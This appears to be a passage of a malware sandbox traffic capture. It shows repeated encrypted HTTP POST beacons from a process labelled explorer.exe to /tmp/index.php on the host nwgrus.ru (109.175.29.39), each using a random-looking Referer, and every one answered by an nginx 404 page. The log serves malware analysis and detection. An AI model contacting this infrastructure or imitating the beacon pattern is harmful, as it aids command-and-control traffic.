Oct 8, 2024 00:20:19.925240040 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:19 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 8, 2024 00:20:19.925376892 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:19 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:19.943342924 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vqoayhqrgjlg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: nwgrus.ru
Oct 8, 2024 00:20:19.943342924 CEST	189	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 39 07 bf a1 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu9wOL1tZ{nvyeW*Lb;[?Bn,A11}H.If-!
Oct 8, 2024 00:20:20.864453077 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:20 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:20.876399040 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cmfmcxiuegbxwbfb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 173 Host: nwgrus.ru
Oct 8, 2024 00:20:20.876416922 CEST	173	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 63 00 c7 b9 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vucU[gR_Rm#4!fMBfw2z2=\JYQdcSLgr_jV/
Oct 8, 2024 00:20:21.651169062 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:21 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:21.660253048 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bojujhdxlnt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 243 Host: nwgrus.ru
Oct 8, 2024 00:20:21.660337925 CEST	243	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 39 59 ba ec Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu9YEzYk,SM{uNFMk5W3L/3$Fs-0<MU`H_#<oSC%9[xQKz_';\C
Oct 8, 2024 00:20:22.408415079 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:22 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:22.419502020 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lbaiglgwxhkmq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: nwgrus.ru
Oct 8, 2024 00:20:22.419570923 CEST	222	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 2c 43 a3 81 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu,CJcvz2Hje2.dhQ;m>f!A@VD^B1vm+]rzg_UWF"1L~5
Oct 8, 2024 00:20:23.179668903 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:23 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49767	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:23.187813997 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oxivfaqdhau.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 292 Host: nwgrus.ru
Oct 8, 2024 00:20:23.187836885 CEST	292	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 5f 09 b4 f1 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu_X@GdTkoWkx3MG\u~2"wq1Wak"Zv4 Ka3l~dI ui@{Q\
Oct 8, 2024 00:20:23.966139078 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:23 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49773	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:23.976464033 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eihcpyqadleca.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: nwgrus.ru
Oct 8, 2024 00:20:23.976478100 CEST	307	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 4e 2b fe 80 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vuN+EDaEHZf\|ua_X=m$:JGKWT@+@99GfL;lf>/q9+YU]-m{FR
Oct 8, 2024 00:20:24.908112049 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49774	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:24.926609993 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://olgjjvecsjugbyj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: nwgrus.ru
Oct 8, 2024 00:20:24.926647902 CEST	128	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 3b 49 da bb Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu;Io5rc&:M-mJV"{
Oct 8, 2024 00:20:26.072292089 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49786	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:20:26.082185030 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wjiuupaachvppk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: nwgrus.ru
Oct 8, 2024 00:20:26.082211971 CEST	288	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 14 6b 2c 90 f5 76 0b 75 72 23 df eb Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vur#s;z2+#1m~6c\|h:HKpN84&Fo^4K?q]uHPAu!'t,dmo~$1
Oct 8, 2024 00:20:26.857687950 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:20:26 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 